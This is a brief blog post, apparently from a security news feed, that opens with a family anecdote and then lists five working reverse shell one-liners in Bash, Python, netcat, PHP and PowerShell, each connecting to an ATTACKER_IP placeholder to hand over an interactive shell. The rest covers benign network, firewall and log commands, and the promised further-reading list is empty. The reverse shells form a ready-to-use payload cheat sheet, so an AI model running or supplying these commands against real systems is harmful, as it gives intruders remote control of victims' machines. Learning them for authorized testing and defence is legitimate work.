Future Pentester in the Making: A Glimpse into Reverse Shell Magic

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2025-02-14

While deep in the hacking zone, I had an unexpected visitor—my little one decided to see what all the clicking and #reverseShell magic was about. Could this be a future pentester in the making? 🤙🏻

Practical Reverse Shell Commands

Here are some practical reverse shell commands to experiment with in a controlled environment:

1. Bash Reverse Shell

bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1

2. Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3. Netcat Reverse Shell

nc -e /bin/sh ATTACKER_IP ATTACKER_PORT

4. PHP Reverse Shell

php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

5. PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

What Undercode Say

Reverse shells are a fundamental tool in penetration testing, allowing attackers to gain control over a target machine. Understanding how they work is crucial for both offensive and defensive cybersecurity professionals. Here are some additional commands and tips to enhance your knowledge:

1. Linux Commands for Network Analysis

  • netstat -tuln: List all listening ports.
  • ss -tuln: Another tool to list listening ports.
  • lsof -i: List open files (including network connections).

2. Windows Commands for Network Analysis

  • netstat -an: Display all active connections and listening ports.
  • tasklist /svc: List all running services and their associated processes.
  • powershell Get-NetTCPConnection: PowerShell command to get TCP connections.

3. Firewall Management

  • Linux: `ufw allow PORT` to allow a specific port through the firewall.
  • Windows: `netsh advfirewall firewall add rule name=”Open Port” dir=in action=allow protocol=TCP localport=PORT` to allow a port.

4. Log Analysis

  • Linux: `tail -f /var/log/syslog` to monitor system logs in real-time.
  • Windows: `Get-EventLog -LogName Security -Newest 50` to get the latest security logs.

5. Advanced Tools

  • Wireshark: For deep packet inspection.
  • Nmap: For network discovery and security auditing.
  • Metasploit: For exploiting vulnerabilities and testing defenses.

Understanding these commands and tools will not only help you in setting up reverse shells but also in defending against them. Always practice in a controlled environment and ensure you have proper authorization before performing any penetration testing.

For further reading, check out these resources:

By mastering these techniques, you can better understand the tactics used by attackers and improve your defensive strategies. Keep learning, keep hacking, and always stay curious!

References:

Hackers Feeds, Undercode AIFeatured Image

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